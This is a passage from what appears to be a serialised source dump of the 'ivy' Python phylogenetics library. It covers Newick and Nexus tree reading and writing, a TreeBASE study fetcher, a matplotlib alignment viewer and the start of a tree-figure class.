outfile=None, format=\"newick\", length_fmt=\":%g\", end=True,\n              clobber=False):\n        if format==\"newick\":\n            s = write_newick(self, outfile, length_fmt, True, clobber)\n            if not outfile:\n                return s\n\n\nreroot = Node.reroot\n\ndef index(node, n=0, d=0):\n    \"\"\"\n    recursively attach 'next', 'back', (and 'left', 'right'), 'ni',\n    'ii', 'pi', and 'node_depth' attributes to nodes\n    \"\"\"\n    node.next = node.left = n\n    if not node.parent:\n        node.node_depth = d\n    else:\n        node.node_depth = node.parent.node_depth + 1\n    n += 1\n    for i, c in enumerate(node.children):\n        if i > 0:\n            n = node.children[i-1].back + 1\n        index(c, n)\n\n    if node.children:\n        node.back = node.right = node.children[-1].back + 1\n    else:\n        node.back = node.right = n\n    return node.back\n\ndef remove_singletons(root, add=True):\n    \"Remove descendant nodes that are the sole child of their parent\"\n    for leaf in root.leaves():\n        for n in leaf.rootpath():\n            if n.parent and len(n.parent.children)==1:\n                n.collapse(add)\n\ndef cls(root):\n    \"\"\"\n    Get clade sizes of whole tree\n    Args:\n        * root: A root node\n\n    Returns:\n        * A dict mapping nodes to clade sizes\n\n    \"\"\"\n    results = {}\n    for node in root.postiter():\n        if node.isleaf:\n            results[node] = 1\n        else:\n            results[node] = sum(results[child] for child in node.children)\n    return results\n\ndef clade_sizes(node, results={}):\n    \"\"\"Map node and descendants to number of descendant tips\"\"\"\n    size = int(node.isleaf)\n    if not node.isleaf:\n        for child in node.children:\n            clade_sizes(child, results)\n            size += results[child]\n    results[node] = size\n    return results\n\ndef write(node, outfile=None, format=\"newick\", length_fmt=\":%g\",\n          clobber=False):\n    if format==\"newick\" or (isinstance(outfile, str) and\n                            outfile.endswith(\".newick\") or\n                            outfile.endswith(\".new\")):\n        s = write_newick(node, outfile, length_fmt, True, clobber)\n        if not outfile:\n            return s\n\ndef write_newick(node, outfile=None, length_fmt=\":%g\", end=False,\n                 clobber=False):\n    if not node.isleaf:\n        node_str = \"(%s)%s\" % \\\n                   (\",\".join([ write_newick(child, outfile, length_fmt,\n                                            False, clobber)\n                               for child in node.children ]),\n                    (node.label or \"\")\n                    )\n    else:\n        node_str = \"%s\" % node.label\n\n    if node.length is not None:\n        length_str = length_fmt % node.length\n    else:\n        length_str = \"\"\n\n    semicolon = \"\"\n    if end:\n        semicolon = \";\"\n    s = \"%s%s%s\" % (node_str, length_str, semicolon)\n    if end and outfile:\n        flag = False\n        if isinstance(outfile, str):\n            if not clobber:\n                assert not os.path.isfile(outfile), \"File '%s' exists! (Set clobber=True to overwrite)\" % outfile\n            flag = True\n            outfile = open(outfile, \"w\")\n        outfile.write(s)\n        if flag:\n            outfile.close()\n    return s\n\ndef read(data, format=None, treename=None, ttable=None):\n    \"\"\"\n    Read a single tree from *data*, which can be a Newick string, a\n    file name, or a file-like object with `tell` and 'read`\n    methods. *treename* is an optional string that will be attached to\n    all created nodes.\n\n    Args:\n        data: A file or file-like object or newick string\n\n    Returns:\n        Node: The root node.\n    \"\"\"\n\n    def strip(s):\n        fname = os.path.split(s)[-1]\n        head, tail = os.path.splitext(fname)\n        tail = tail.lower()\n        if tail in (\".nwk\", \".tre\", \".tree\", \".newick\", \".nex\"):\n            return head\n        else:\n            return fname\n\n    if (not format):\n        if isinstance(data, str) and os.path.isfile(data):\n            s = data.lower()\n            for tail in \".nex\", \".nexus\", \".tre\":\n                if s.endswith(tail):\n                    format=\"nexus\"\n                    break\n\n    if (not format):\n        format = \"newick\"\n\n    if format == \"newick\":\n        if isinstance(data, str):\n            if os.path.isfile(data):\n                treename = strip(data)\n                return newick.parse(open(data), treename=treename,\n                                    ttable=ttable)\n            else:\n                return newick.parse(data, ttable=ttable)\n\n        elif (hasattr(data, \"tell\") and hasattr(data, \"read\")):\n            treename = strip(getattr(data, \"name\", None))\n            return newick.parse(data, treename=treename, ttable=ttable)\n    elif format == \"nexus-dendropy\":\n        import dendropy\n        if isinstance(data, str):\n            if os.path.isfile(data):\n                treename = strip(data)\n                return newick.parse(\n                    str(dendropy.Tree.get_from_path(data, \"nexus\")),\n                    treename=treename\n                    )\n            else:\n                return newick.parse(\n                    str(dendropy.Tree.get_from_string(data, \"nexus\"))\n                    )\n\n        elif (hasattr(data, \"tell\") and hasattr(data, \"read\")):\n            treename = strip(getattr(data, \"name\", None))\n            return newick.parse(\n                str(dendropy.Tree.get_from_stream(data, \"nexus\")),\n                treename=treename\n                )\n        else:\n            pass\n\n    elif format == \"nexus\":\n        if isinstance(data, str):\n            if os.path.isfile(data):\n                with open(data) as infile:\n                    nexiter = nexus.iter_trees(infile)\n                    rec = next(nexiter)\n                    if rec:\n                        return rec.parse()\n            else:\n                nexiter = nexus.iter_trees(StringIO(data))\n        else:\n            nexiter = nexus.iter_trees(data)\n        rec = next(nexiter)\n        if rec:\n            return rec.parse()\n    else:\n        # implement other tree formats here (nexus, nexml etc.)\n        raise IOError(\"format '%s' not implemented yet\" % format)\n\n    raise IOError(\"unable to read tree from '%s'\" % data)\n\ndef readmany(data, format=\"newick\"):\n    \"\"\"Iterate over trees from a source.\"\"\"\n    if isinstance(data, str):\n        if os.path.isfile(data):\n            data = open(data)\n        else:\n            data = StringIO(data)\n\n    if format == \"newick\":\n        for line in data:\n            yield newick.parse(line)\n    elif format == \"nexus\":\n        for rec in newick.nexus_iter(data):\n            yield rec.parse()\n    else:\n        raise Exception(\"format '%s' not recognized\" % format)\n    data.close()\n\n## def randomly_resolve(n):\n##     assert len(n.children)>2\n\n## def leaf_mrcas(root):\n##     from itertools import product, izip, tee\n##     from collections import OrderedDict\n##     from numpy import empty\n##     mrca = OrderedDict()\n##     def pairwise(iterable, tee=tee, izip=izip):\n##         a, b = tee(iterable)\n##         next(b, None)\n##         return izip(a, b)\n##     def f(n):\n##         if n.isleaf:\n##             od = OrderedDict(); od[n] = n.length\n##             return od\n##         d = [ f(c) for c in n.children ]\n##         for i, j in pairwise(xrange(len(d))):\n##             di = d[i]; dj =d[j]\n##             for ni, niv in di.iteritems():\n##                 for nj, njv in dj.iteritems():\n##                     mrca[(ni,nj)] = n\n##             d[j].update(di)\n##         return d[j]\n##     f(root)\n##     return mrca\n\ndef C(leaves, internals):\n    from scipy.sparse import lil_matrix\n    m = lil_matrix((len(internals), len(leaves)))\n    for lf in leaves:\n        v = lf.length if lf.length is not None else 1\n        for n in lf.rootpath():\n            m[n.ii,lf.li] = v\n            v += n.length if n.length is not None else 1\n    return m.tocsc()\n", "ivy/treebase.py": "\"\"\"\nFunctions to get trees and character data from treebase\n\"\"\"\n\ntry:\n    from urllib2 import urlopen\nexcept ImportError:\n    from urllib.request import urlopen\nfrom lxml import etree\nfrom . import storage\nimport sys, re\n\n# \"http://purl.org/phylo/treebase/phylows/study/TB2:S11152\"\n\nTREEBASE_WEBSERVICE = \"http://purl.org/phylo/treebase/phylows\"\nNEXML_NAMESPACE = \"http://www.nexml.org/2009\"\nNEXML = \"{%s}\" % NEXML_NAMESPACE\nUNIPROT = \"http://purl.uniprot.org/taxonomy/\"\nNAMEBANK = (\"http://www.ubio.org/authority/metadata.php?\"\n            \"lsid=urn:lsid:ubio.org:namebank:\")\n\nROW_SEGMENTS = (\"http://treebase.org/treebase-web/search/study/\"\n                \"rowSegmentsTSV.html?matrixid=\")\n\nMETA_DATATYPE = {\n    \"xsd:long\": int,\n    \"xsd:integer\": int,\n    \"xsd:string\": str\n    }\n\nAMBIG_RE = re.compile(r'([{][a-zA-Z]+[}])')\n\ndef fetch_study(study_id, format=\"nexml\"):\n    \"\"\"\n    Get a study from treebase in one of various formats\n\n    Args:\n        study_id (str): The id of the study\n        format (str):  One of [\"rdf\", \"html\", \"nexml\", \"nexus\"]\n    Returns:\n        Str representing a nexus file (if format = \"nexus\")\n\n        OR\n\n        An lxml etree object\n    \"\"\"\n    try: study_id = \"S%s\" % int(study_id)\n    except ValueError: pass\n\n    # format is one of [\"rdf\", \"html\", \"nexml\", \"nexus\"]\n    url = \"%s/study/TB2:%s?format=%s\" % (TREEBASE_WEBSERVICE, study_id, format)\n    if format==\"nexus\":\n        return urlopen(url).read()\n    else:\n        return etree.parse(url)\n\ndef parse_chars(e, otus):\n    v = []\n    for chars in e.findall(NEXML+\"characters\"):\n        c = storage.Storage(chars.attrib)\n        c.states = parse_states(chars)\n        c.meta = storage.Storage()\n        for meta in chars.findall(NEXML+\"meta\"):\n            a = meta.attrib\n            if a.get(\"content\"):\n                value = META_DATATYPE[a[\"datatype\"]](a[\"content\"])\n                c.meta[a[\"property\"]] = value\n        c.matrices = []\n        for matrix in chars.findall(NEXML+\"matrix\"):\n            m = storage.Storage()\n            m.rows = []\n            for row in matrix.findall(NEXML+\"row\"):\n                r = storage.Storage(row.attrib)\n                r.otu = otus[r.otu]\n                s = row.findall(NEXML+\"seq\")[0].text\n                substrs = []\n                for ss in AMBIG_RE.split(s):\n                    if ss.startswith(\"{\"):\n                        key = frozenset(ss[1:-1])\n                        val = c.states.states2symb.get(key)\n                        if key and not val:\n                            sys.stderr.write(\"missing ambig symbol for %s\\n\" %\n                                             \"\".join(sorted(key)))\n                        ss = val or \"?\"\n                    substrs.append(ss)\n                s = \"\".join(substrs)\n                r.seq = s\n                m.rows.append(r)\n            c.matrices.append(m)\n        v.append(c)\n    return v\n\ndef parse_trees(e, otus):\n    \"\"\"\n    Get trees from an etree object\n\n    Args:\n        e: A nexml document parsed by etree\n        otus: OTUs returned by parse_otus\n    Returns:\n        list: A list of ivy Storage objects each\n          containing every node of a tree.\n    \"\"\"\n    from tree import Node\n    v = []\n    for tb in e.findall(NEXML+\"trees\"):\n        for te in tb.findall(NEXML+\"tree\"):\n            t = storage.Storage()\n            t.attrib = storage.Storage(te.attrib)\n            t.nodes = {}\n            for n in te.findall(NEXML+\"node\"):\n                node = Node()\n                if n.attrib.get(\"otu\"):\n                    node.isleaf = True\n                    node.otu = otus[n.attrib[\"otu\"]]\n                    node.label = node.otu.label\n                t.nodes[n.attrib[\"id\"]] = node\n            for edge in te.findall(NEXML+\"edge\"):\n                d = edge.attrib\n                n = t.nodes[d[\"target\"]]\n                p = t.nodes[d[\"source\"]]\n                length = d.get(\"length\")\n                if length:\n                    n.length = float(length)\n                p.add_child(n)\n            r = [ n for n in t.nodes.values() if not n.parent ]\n            assert len(r)==1\n            r = r[0]\n            r.isroot = True\n            for i, n in enumerate(r): n.id = i+1\n            t.root = r\n            v.append(t)\n    return v\n\ndef parse_otus(e):\n    \"\"\"\n    Get OTUs from an etree object\n\n    Args:\n        e: A nexml document parsed by etree\n    Returns:\n        dict: A dict mapping keys to OTUs contained in ivy Storage objects\n    \"\"\"\n    v = {}\n    for otus in e.findall(NEXML+\"otus\"):\n        for x in otus.findall(NEXML+\"otu\"):\n            otu = storage.Storage()\n            otu.id = x.attrib[\"id\"]\n            otu.label = x.attrib[\"label\"]\n            for meta in x.iterchildren():\n                d = meta.attrib\n                p = d.get(\"property\")\n                if p and p == \"tb:identifier.taxon\":\n                    otu.tb_taxid = d[\"content\"]\n                elif p and p == \"tb:identifier.taxonVariant\":\n                    otu.tb_taxid_variant = d[\"content\"]\n                h = d.get(\"href\")\n                if h and h.startswith(NAMEBANK):\n                    otu.namebank_id = int(h.replace(NAMEBANK, \"\"))\n                elif h and h.startswith(UNIPROT):\n                    otu.ncbi_taxid = int(h.replace(UNIPROT, \"\"))\n            v[otu.id] = otu\n    return v\n\ndef parse_nexml(doc):\n    \"\"\"\n    Parse an etree ElementTree\n\n    Args:\n        doc: An etree ElementTree or a file that can be parsed into\n          an etree ElementTree with etree.parse\n    Returns:\n        An ivy Storage object containing all the information from the\n          nexml file: Characters, metadata, OTUs, and trees.\n    \"\"\"\n    if not isinstance(doc, (etree._ElementTree, etree._Element)):\n        doc = etree.parse(doc)\n    meta = {}\n    for child in doc.findall(NEXML+\"meta\"):\n        if \"content\" in child.attrib:\n            d = child.attrib\n            key = d[\"property\"]\n            val = META_DATATYPE[d[\"datatype\"]](d[\"content\"])\n            if (key in meta) and val:\n                if isinstance(meta[key], list):\n                    meta[key].append(val)\n                else:\n                    meta[key] = [meta[key], val]\n            else:\n                meta[key] = val\n\n    otus = parse_otus(doc)\n\n    return Storage(meta = meta,\n                   otus = otus,\n                   chars = parse_chars(doc, otus),\n                   trees = parse_trees(doc, otus))\n\ndef parse_states(e):\n    \"\"\"e is a characters element\"\"\"\n    f = e.findall(NEXML+\"format\")[0]\n    sts = f.findall(NEXML+\"states\")[0]\n    states2symb = {}\n    symb2states = {}\n    id2symb = {}\n    for child in sts.iterchildren():\n        t = child.tag\n        if t == NEXML+\"state\":\n            k = child.attrib[\"id\"]\n            v = child.attrib[\"symbol\"]\n            id2symb[k] = v\n            states2symb[v] = v\n            symb2states[v] = v\n        elif t == NEXML+\"uncertain_state_set\":\n            k = child.attrib[\"id\"]\n            v = child.attrib[\"symbol\"]\n            id2symb[k] = v\n            memberstates = []\n            for memb in child.findall(NEXML+\"member\"):\n                sid = memb.attrib[\"state\"]\n                symb = id2symb[sid]\n                for x in symb2states[symb]: memberstates.append(x)\n            memberstates = frozenset(memberstates)\n            symb2states[v] = memberstates\n            states2symb[memberstates] = v\n    return Storage(states2symb=states2symb,\n                   symb2states=symb2states,\n                   id2symb=id2symb)\n\ndef parse_charsets(study_id):\n    from cStringIO import StringIO\n    nx = StringIO(fetch_study(study_id, 'nexus'))\n    d = {}\n    for line in nx.readlines():\n        if line.strip().startswith(\"CHARSET \"):\n            v = line.strip().split()\n            label = v[1]\n            first, last = map(int, line.split()[-1][:-1].split(\"-\"))\n            d[label] = (first-1, last-1)\n    return d\n\nif __name__ == \"__main__\":\n    import sys\n    from pprint import pprint\n    e = fetch_study('S11152', 'nexus')\n    #print e\n    #e.write(sys.stdout, pretty_print=True)\n\n    ## e = etree.parse('/tmp/tmp.xml')\n    ## x = parse_nexml(e)\n    ## pprint(x)\n", "ivy/vis/alignment.py": "\"\"\"\ninteractive viewers for trees, etc. using matplotlib\n\"\"\"\nfrom collections import defaultdict\nfrom .. import align, sequtil\nimport matplotlib, numpy\nimport matplotlib.pyplot as pyplot\nfrom matplotlib.figure import SubplotParams\nfrom matplotlib.axes import Axes, subplot_class_factory\nfrom matplotlib.patches import Rectangle\nfrom matplotlib.collections import PatchCollection\nfrom matplotlib.widgets import RectangleSelector\nfrom matplotlib import colors as mpl_colors\nfrom matplotlib.ticker import MaxNLocator, FuncFormatter, NullLocator\nfrom mpl_toolkits.axes_grid1.inset_locator import inset_axes\nfrom Bio.Align import MultipleSeqAlignment\n\nmatplotlib.rcParams['path.simplify'] = False\n\nclass UpdatingRect(Rectangle):\n    def __call__(self, p):\n        self.set_bounds(*p.viewLim.bounds)\n        p.figure.canvas.draw_idle()\n\nclass AlignmentFigure:\n    def __init__(self, aln, name=None, div=0.25, overview=True):\n        if isinstance(aln, MultipleSeqAlignment):\n            self.aln = aln\n        else:\n            self.aln = align.read(aln)\n        self.name = name\n        self.div_value = div\n        pars = SubplotParams(\n            left=0.2, right=1, bottom=0.05, top=1, wspace=0.01\n            )\n        fig = pyplot.figure(subplotpars=pars, facecolor=\"white\")\n        self.figure = fig\n        self.initialize_subplots(overview)\n        self.show()\n        self.connect_events()\n        \n    def initialize_subplots(self, overview=False):\n        ## p = AlignmentPlot(self.figure, 212, aln=self.aln)\n        p = AlignmentPlot(self.figure, 111, aln=self.aln, app=self)\n        self.detail = self.figure.add_subplot(p)\n        self.detail.plot_aln()\n        if overview:\n            self.overview = inset_axes(\n                self.detail, width=\"30%\", height=\"20%\", loc=1\n                )\n            self.overview.xaxis.set_major_locator(NullLocator())\n            self.overview.yaxis.set_major_locator(NullLocator())\n            self.overview.imshow(\n                self.detail.array, interpolation='nearest', aspect='auto',\n                origin='lower'\n                )\n            rect = UpdatingRect(\n                [0,0], 0, 0, facecolor='black', edgecolor='cyan', alpha=0.5\n                )\n            self.overview.zoomrect = rect\n            rect.target = self.detail\n            self.detail.callbacks.connect('xlim_changed', rect)\n            self.detail.callbacks.connect('ylim_changed', rect)\n            self.overview.add_patch(rect)\n            rect(self.overview)\n\n        else:\n            self.overview = None\n        \n    def show(self):\n        self.figure.show()\n\n    def connect_events(self):\n        mpl_connect = self.figure.canvas.mpl_connect\n        mpl_connect(\"button_press_event\", self.onclick)\n        mpl_connect(\"button_release_event\", self.onbuttonrelease)\n        mpl_connect(\"scroll_event\", self.onscroll)\n        mpl_connect(\"pick_event\", self.onpick)\n        mpl_connect(\"motion_notify_event\", self.ondrag)\n        mpl_connect(\"key_press_event\", self.onkeypress)\n        mpl_connect(\"axes_enter_event\", self.axes_enter)\n        mpl_connect(\"axes_leave_event\", self.axes_leave)\n\n    @staticmethod\n    def axes_enter(e):\n        ax = e.inaxes\n        ax._active = True\n\n    @staticmethod\n    def axes_leave(e):\n        ax = e.inaxes\n        ax._active = False\n\n    @staticmethod\n    def onselect(estart, estop):\n        b = estart.button\n        ## print b, estart.key\n\n    @staticmethod\n    def onkeypress(e):\n        ax = e.inaxes\n        k = e.key\n        if ax and k:\n            if k == 't':\n                ax.home()\n            elif k == \"down\":\n                ax.scroll(0, -0.1)\n            elif k == \"up\":\n                ax.scroll(0, 0.1)\n            elif k == \"left\":\n                ax.scroll(-0.1, 0)\n            elif k == \"right\":\n                ax.scroll(0.1, 0)\n            elif k in '=+':\n                ax.zoom(0.1,0.1)\n            elif k == '-':\n                ax.zoom(-0.1,-0.1)\n            ax.figure.canvas.draw_idle()\n\n    @staticmethod\n    def ondrag(e):\n        ax = e.inaxes\n        button = e.button\n        if ax and button == 2:\n            if not ax.pan_start:\n                ax.pan_start = (e.xdata, e.ydata)\n                return\n            x, y = ax.pan_start\n            xdelta = x - e.xdata\n            ydelta = y - e.ydata\n            x0, x1 = ax.get_xlim()\n            xspan = x1-x0\n            y0, y1 = ax.get_ylim()\n            yspan = y1 - y0\n            midx = (x1+x0)*0.5\n            midy = (y1+y0)*0.5\n            ax.set_xlim(midx+xdelta-xspan*0.5, midx+xdelta+xspan*0.5)\n            ax.set_ylim(midy+ydelta-yspan*0.5, midy+ydelta+yspan*0.5)\n            ax.figure.canvas.draw_idle()\n\n    @staticmethod\n    def onbuttonrelease(e):\n        ax = e.inaxes\n        button = e.button\n        if button == 2:\n            ## print \"pan end\"\n            ax.pan_start = None\n            ax.figure.canvas.draw_idle()\n\n    @staticmethod\n    def onpick(e):\n        ax = e.mouseevent.inaxes\n        if ax:\n            ax.picked(e)\n            ax.figure.canvas.draw_idle()\n\n    @staticmethod\n    def onscroll(e):\n        ax = e.inaxes\n        if ax:\n            b = e.button\n            ## print b\n            k = e.key\n            if k == None and b ==\"up\":\n                ax.zoom(0.1,0.1)\n            elif k == None and b ==\"down\":\n                ax.zoom(-0.1,-0.1)\n            elif k == \"shift\" and b == \"up\":\n                ax.zoom_cxy(0.1, 0, e.xdata, e.ydata)\n            elif k == \"shift\" and b == \"down\":\n                ax.zoom_cxy(-0.1, 0, e.xdata, e.ydata)\n            elif k == \"control\" and b == \"up\":\n                ax.zoom_cxy(0, 0.1, e.xdata, e.ydata)\n            elif k == \"control\" and b == \"down\":\n                ax.zoom_cxy(0, -0.1, e.xdata, e.ydata)\n            elif k == \"d\" and b == \"up\":\n                ax.scroll(0, 0.1)\n            elif (k == \"d\" and b == \"down\"):\n                ax.scroll(0, -0.1)\n            elif k == \"c\" and b == \"up\":\n                ax.scroll(-0.1, 0)\n            elif k == \"c\" and b == \"down\":\n                ax.scroll(0.1, 0)\n            ax.figure.canvas.draw_idle()\n\n    @staticmethod\n    def onclick(e):\n        ax = e.inaxes\n        if (ax and e.button==1 and hasattr(ax, \"zoomrect\") and ax.zoomrect):\n            # overview clicked; reposition zoomrect\n            r = ax.zoomrect\n            x = e.xdata\n            y = e.ydata\n            arr = ax.transData.inverted().transform(r.get_extents())\n            xoff = (arr[1][0]-arr[0][0])*0.5\n            yoff = (arr[1][1]-arr[0][1])*0.5\n            r.target.set_xlim(x-xoff,x+xoff)\n            r.target.set_ylim(y-yoff,y+yoff)\n            r(r.target)\n            ax.figure.canvas.draw_idle()\n\n        elif ax and e.button==2:\n            ## print \"pan start\", (e.xdata, e.ydata)\n            ax.pan_start = (e.xdata, e.ydata)\n            ax.figure.canvas.draw_idle()\n\n        elif ax and hasattr(ax, \"aln\") and ax.aln:\n            x = int(e.xdata+0.5); y = int(e.ydata+0.5)\n            aln = ax.aln\n            if (0 <= x <= ax.nchar) and (0 <= y <= ax.ntax):\n                seq = aln[y]; char = seq[x]\n                if char not in '-?':\n                    v = sequtil.gapidx(seq)\n                    i = (v[1]==x).nonzero()[0][0]\n                    print(\"%s: row %s, site %s: '%s', seqpos %s\"\n                           % (seq.id, y, x, char, i))\n                else:\n                    print(\"%s: row %s, site %s: '%s'\" % (seq.id, y, x, char))\n\n    def zoom(self, factor=0.1):\n        \"Zoom both axes by *factor* (relative display size).\"\n        self.detail.zoom(factor, factor)\n        self.figure.canvas.draw_idle()\n\n    def __get_selection(self):\n        return self.detail.extract_selected()\n    selected = property(__get_selection)\n                \nclass Alignment(Axes):\n    \"\"\"\n    matplotlib.axes.Axes subclass for rendering sequence alignments.\n    \"\"\"\n    def __init__(self, fig, rect, *args, **kwargs):\n        self.aln = kwargs.pop(\"aln\")\n        nrows = len(self.aln)\n        ncols = self.aln.get_alignment_length()\n        self.alnidx = numpy.arange(ncols)\n        self.app = kwargs.pop(\"app\", None)\n        self.showy = kwargs.pop('showy', True)\n        Axes.__init__(self, fig, rect, *args, **kwargs)\n        rgb = mpl_colors.colorConverter.to_rgb\n        gray = rgb('gray')\n        d = defaultdict(lambda:gray)\n        d[\"A\"] = rgb(\"red\")\n        d[\"a\"] = rgb(\"red\")\n        d[\"C\"] = rgb(\"blue\")\n        d[\"c\"] = rgb(\"blue\")\n        d[\"G\"] = rgb(\"green\")\n        d[\"g\"] = rgb(\"green\")\n        d[\"T\"] = rgb(\"yellow\")\n        d[\"t\"] = rgb(\"yellow\")\n        self.cmap = d\n        self.selector = RectangleSelector(\n            self, self.select_rectangle, useblit=True\n            )\n        def f(e):\n            if e.button != 1: return True\n            else: return RectangleSelector.ignore(self.selector, e)\n        self.selector.ignore = f\n        self.selected_rectangle = Rectangle(\n            [0,0],0,0, facecolor='white', edgecolor='cyan', alpha=0.3\n            )\n        self.add_patch(self.selected_rectangle)\n        self.highlight_find_collection = None\n\n    def plot_aln(self):\n        cmap = self.cmap\n        self.ntax = len(self.aln); self.nchar = self.aln.get_alignment_length()\n        a = numpy.array([ [ cmap[base] for base in x.seq ]\n                          for x in self.aln ])\n        self.array = a\n        self.imshow(a, interpolation='nearest', aspect='auto', origin='lower')\n        y = [ i+0.5 for i in xrange(self.ntax) ]\n        labels = [ x.id for x in self.aln ]\n        ## locator.bin_boundaries(1,ntax)\n        ## locator.view_limits(1,ntax)\n        if self.showy:\n            locator = MaxNLocator(nbins=50, integer=True)\n            self.yaxis.set_major_locator(locator)\n            def fmt(x, pos=None):\n                if x<0: return \"\"\n                try: return labels[int(round(x))]\n                except: pass\n                return \"\"\n            self.yaxis.set_major_formatter(FuncFormatter(fmt))\n        else:\n            self.yaxis.set_major_locator(NullLocator())\n        \n        return self\n\n    def select_rectangle(self, e0, e1):\n        x0, x1 = map(int, sorted((e0.xdata+0.5, e1.xdata+0.5)))\n        y0, y1 = map(int, sorted((e0.ydata+0.5, e1.ydata+0.5)))\n        self.selected_chars = (x0, x1)\n        self.selected_taxa = (y0, y1)\n        self.selected_rectangle.set_bounds(x0-0.5,y0-0.5,x1-x0+1,y1-y0+1)\n        self.app.figure.canvas.draw_idle()\n\n    def highlight_find(self, substr):\n        if not substr:\n            if self.highlight_find_collection:\n                self.highlight_find_collection.remove()\n                self.highlight_find_collection = None\n            return\n            \n        N = len(substr)\n        v = []\n        for y, x in align.find(self.aln, substr):\n            r = Rectangle(\n                [x-0.5,y-0.5], N, 1,\n                facecolor='cyan', edgecolor='cyan', alpha=0.7\n                )\n            v.append(r)\n        if self.highlight_find_collection:\n            self.highlight_find_collection.remove()\n        c = PatchCollection(v, True)\n        self.highlight_find_collection = self.add_collection(c)\n        self.app.figure.canvas.draw_idle()\n\n    def extract_selected(self):\n        r0, r1 = self.selected_taxa\n        c0, c1 = self.selected_chars\n        return self.aln[r0:r1+1,c0:c1+1]\n\n    def zoom_cxy(self, x=0.1, y=0.1, cx=None, cy=None):\n        \"\"\"\n        Zoom the x and y axes in by the specified proportion of the\n        current view, with a fixed data point (cx, cy)\n        \"\"\"\n        transform = self.transData.inverted().transform\n        xlim = self.get_xlim(); xmid = sum(xlim)*0.5\n        ylim = self.get_ylim(); ymid = sum(ylim)*0.5\n        bb = self.get_window_extent()\n        bbx = bb.expanded(1.0-x,1.0-y)\n        points = transform(bbx.get_points())\n        x0, x1 = points[:,0]; y0, y1 = points[:,1]\n        deltax = xmid-x0; deltay = ymid-y0\n        cx = cx or xmid; cy = cy or ymid\n        xoff = (cx-xmid)*x\n        self.set_xlim(xmid-deltax+xoff, xmid+deltax+xoff)\n        yoff = (cy-ymid)*y\n        self.set_ylim(ymid-deltay+yoff, ymid+deltay+yoff)\n\n    def zoom(self, x=0.1, y=0.1, cx=None, cy=None):\n        \"\"\"\n        Zoom the x and y axes in by the specified proportion of the\n        current view.\n        \"\"\"\n        # get the function to convert display coordinates to data\n        # coordinates\n        transform = self.transData.inverted().transform\n        xlim = self.get_xlim()\n        ylim = self.get_ylim()\n        bb = self.get_window_extent()\n        bbx = bb.expanded(1.0-x,1.0-y)\n        points = transform(bbx.get_points())\n        x0, x1 = points[:,0]; y0, y1 = points[:,1]\n        deltax = x0 - xlim[0]; deltay = y0 - ylim[0]\n        self.set_xlim(xlim[0]+deltax, xlim[1]-deltax)\n        self.set_ylim(ylim[0]+deltay, ylim[1]-deltay)\n\n    def center_y(self, y):\n        ymin, ymax = self.get_ylim()\n        yoff = (ymax - ymin) * 0.5\n        self.set_ylim(y-yoff, y+yoff)\n\n    def center_x(self, x, offset=0.3):\n        xmin, xmax = self.get_xlim()\n        xspan = xmax - xmin\n        xoff = xspan*0.5 + xspan*offset\n        self.set_xlim(x-xoff, x+xoff)\n\n    def scroll(self, x, y):\n        x0, x1 = self.get_xlim()\n        y0, y1 = self.get_ylim()\n        xd = (x1-x0)*x\n        yd = (y1-y0)*y\n        self.set_xlim(x0+xd, x1+xd)\n        self.set_ylim(y0+yd, y1+yd)\n\n    def home(self):\n        self.set_xlim(0, self.nchar)\n        self.set_ylim(self.ntax, 0)\n\nAlignmentPlot = subplot_class_factory(Alignment)\n\n", "ivy/vis/hardcopy.py": "import os, matplotlib\nfrom matplotlib.backends.backend_agg import FigureCanvasAgg as FigureCanvas\nfrom matplotlib.figure import Figure\nfrom . import tree\nimport tempfile\n\n## class TreeFigure:\n##     def __init__(self):\n##         pass\n\nmatplotlib.rcParams[\"xtick.direction\"] = \"out\"\n\nclass TreeFigure:\n    def __init__(self, root, relwidth=0.5, leafpad=1.5, name=None,\n                 support=70.0, scaled=True, mark_named=True,\n                 leaf_fontsize=10, branch_fontsize=10,\n                 branch_width=1, branch_color=\"black\",\n                 highlight_support=True,\n                 branchlabels=True, leaflabels=True, decorators=[],\n                 xoff=0, yoff=0,\n                 xlim=None, ylim=None,\n                 height=None, width=None):\n        self.root = root\n        self.relwidth = relwidth\n        self.leafpad = leafpad\n        self.name = name\n        self.support = support\n        self.scaled = scaled\n        self.mark_named = mark_named\n        self.leaf_fontsize = leaf_fontsize\n        self.branch_fontsize = branch_fontsize\n        self.branch_width = branch_width\n        self.branch_color = branch_color\n        self.highlight_support = highlight_support\n        self.branchlabels = branchlabels\n        self.leaflabels = leaflabels\n        self.decorators = decorators\n        self.xoff = xoff\n        self.yoff = yoff\n\n        nleaves = len(root.leaves())\n        self.dpi = 72.0\n        h = height or (nleaves*self.leaf_fontsize*self.leafpad)/self.dpi\n        self.height = h\n        self.width = width or self.height*self.relwidth\n        ## p = min(self.width, self.height)*0.1\n        ## self.height += p\n        ## self.width += p\n        self.figure = Figure(figsize=(self.width, self.height), dpi=self.dpi)\n        self.canvas = FigureCanvas(self.figure)\n        self.axes = self.figure.add_axes(\n            tree.TreePlot(self.figure, 1,1,1,\n                          support=self.support,\n                          scaled=self.scaled,\n                          mark_named=self.mark_named,\n                          leaf_fontsize=self.leaf_fontsize,\n                          branch_fontsize=self.branch_fontsize,\n                          branch_width=self.branch_width,\n                          branch_color=self.branch_color,\n                          highlight_support=self.highlight_support,\n                          branchlabels=self.branchlabels,\n                          leaflabels=self.leaflabels,\n                          interactive=False,\n                          decorators=self.decorators,\n                          xoff=self.xoff, yoff=self.yoff,\n                          name=self.name).plot_tree(self.root)\n            )\n        self.axes.spines[\"top\"].set_visible(False)\n        self.axes.spines[\"left\"].set_visible(False)\n        self.axes.spines[\"right\"].set_visible(False)\n        self.axes.spines[\"bottom\"].set_smart_bounds(True)\n        self.axes.xaxis.set_ticks_position(\"bottom\")\n\n        for v in self.axes.node2label.values():\n            v.set_visible(True)\n\n        ## for k, v in self.decorators:\n        ##     func, args, kwargs = v\n        ##     func(self.axes, *args, **kwargs)\n\n        self.canvas.draw()\n        ## self.axes.home()\n        ## adjust_limits(self.axes)\n        self.axes.set_position([0.05,0.05,0.95,0.95])\n\n    @property\n    def detail(self):\n        return self.axes\n        \n    def savefig(self, fname):\n        root, ext = os.path.splitext(fname)\n        buf = tempfile.TemporaryFile()\n        for i in range(3):\n            self.figure.savefig(buf, format=ext[1:].lower())\n            self.home()\n            buf.seek(0)\n        buf.close()\n        self.figure.savefig(fname)\n\n    def set_relative_width(self, relwidth):\n        w, h = self.figure.get_size_inches()\n        self.figure.set_figwidth(h*relwidth)\n\n    def autoheight(self):\n        \"adjust figure height to show all leaf labels\"\n        nleaves = len(self.root.leaves())\n        h = 